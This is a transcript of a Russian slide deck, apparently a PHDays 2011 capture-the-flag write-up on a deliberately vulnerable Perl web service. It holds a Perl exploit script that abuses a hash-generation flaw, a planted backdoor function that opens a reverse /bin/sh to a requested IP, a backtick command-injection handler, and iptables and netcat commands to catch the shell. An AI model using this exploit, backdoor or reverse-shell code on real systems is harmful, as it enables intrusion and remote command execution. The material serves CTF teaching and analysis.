plwww (24.03) mephi (phdays)

14
PHDays Afterparty 2011 PLWWW (#1, #3)

Upload: ygoltsev

Post on 08-Jul-2015

1.580 views

Category:

Documents


6 download

TRANSCRIPT

Page 1: plwww (24.03) MEPHI (PHDays)

PHDays Afterparty 2011PLWWW (#1, #3)

Page 2: plwww (24.03) MEPHI (PHDays)

PLWWW и с чем его едят

Сервис Монолит – зачатки исследовательской лаборатории.

Работа с сервисом осуществляется по средствам протокола HTTP, но

поддерживающего всего два метода работы – GET и ADMIN. Метод GET –

служит только для получения информации, метод ADMIN – для доступа к

панели управления сервисом. После запуска, сервис доступен на порту

8080.

Со стороны файловой системы – сервис представляет собой скрипт,

разработанный на языке Perl. Код скрипта не обфусцирован, но его

структура и используемые методы вводят в заблуждение при первом

рассмотрении. Это сделано. Данный метод разработки скрипта

объясняется со стороны легенды тем, что он был написан на скорую руку

программистами различных галактических рас.

Page 3: plwww (24.03) MEPHI (PHDays)

PLWWW и с чем его едят (192.168.X.2:8080)

4 состояния

#1 – ошибка при генерации хеша

#2 – слабый пароль администратора (банально)

#3 – бэкдор (странно, откуда он появился? )

#4 – RCE (очевидная, но только

на первый взгляд)

Page 4: plwww (24.03) MEPHI (PHDays)

PLWWW #1 (192.168.X.2:8080)

#1 – ошибка при генерации хеша

Page 5: plwww (24.03) MEPHI (PHDays)

PLWWW #1 (192.168.X.2:8080)

Понять принцип работы сервиса

Функция tToSystem

(Особенность данной функции состоит в том, что она заменяет все гласные латинского

алфавита присутствующие в запросе на набор других символов (согласные латинского

алфавита + спец символы))

Метод GET – функция kh8ploegjst

Page 6: plwww (24.03) MEPHI (PHDays)

kh8ploegjst -> cryptFn

sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value;}

PLWWW #1 - cryptFn (192.168.X.2:8080)

Page 7: plwww (24.03) MEPHI (PHDays)

НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_)))

НА ВЫХОДЕ : md5_hex(“record_1X");

PLWWW #1- cryptFn (192.168.X.2:8080)

sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value;}

Page 8: plwww (24.03) MEPHI (PHDays)

PLWWW #1 - exploit (192.168.X.2:8080)

Функция kh8ploegjst – достаточно подставить «0» как длину имени

директории для выхода в корень.

Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать

первый символ секретного ключа.

#!/usr/bin/perluse LWP::UserAgent;use Digest::MD5 'md5_hex';@crypto=(a..z);$fileName="YOURFLAG.TXT";$ua=LWP::UserAgent->new();foreach $sym (@crypto) {

$sym="d";$value=md5_hex("$fileName$sym");print "$sym $value\n";$br=$ua->get("http://192.168.1.2:8080/0$value");print $br->content;if ($br->content=~/FLAG/) {

print $br->content;exit();

}}

Page 9: plwww (24.03) MEPHI (PHDays)

PLWWW #1 – FIX

?

Page 10: plwww (24.03) MEPHI (PHDays)

PLWWW #3 (192.168.X.2:8080)

Смена состояния сервиса, помимо заплаток, приносит в код небольшой

бекдор. Бекдор представляет собой необычное поведение сервиса при

обращении к нему со специально сформированным запросом – сервис

создает бекконнект на указанный в запросе IP адрес с предоставлением

командной строки.

sub pm_backton (&@) { use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/\./gi;my $tm='/bin/sh'; my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm);}

Page 11: plwww (24.03) MEPHI (PHDays)

PLWWW #3 (192.168.X.2:8080)

Метод ADMIN – функция kh8p1oegst

sub kh8p1oegjst (&@) { my($query,$enc_key)=@_; my $status=""; my $aPass="dfknmsdxz83945023489532"; open(FE,"configuration"); while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}} close(FE); if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query); if ($aPass eq $Fghj[1]) { $status=&aPage; } } elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query); $status=`$Fghj[1]`; } if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);} return $status;}

Page 12: plwww (24.03) MEPHI (PHDays)

PLWWW #3 – exploit (192.168.X.2:8080)

iptables -t nat -A OUTPUT -p tcp --dport 10000:30000 -j REDIRECT --to-ports 31337nc –l –p 31337

Page 13: plwww (24.03) MEPHI (PHDays)

PLWWW #3 – FIX

?

Page 14: plwww (24.03) MEPHI (PHDays)

Спасибо за внимание!

Вопросы?

[email protected]@ygoltsev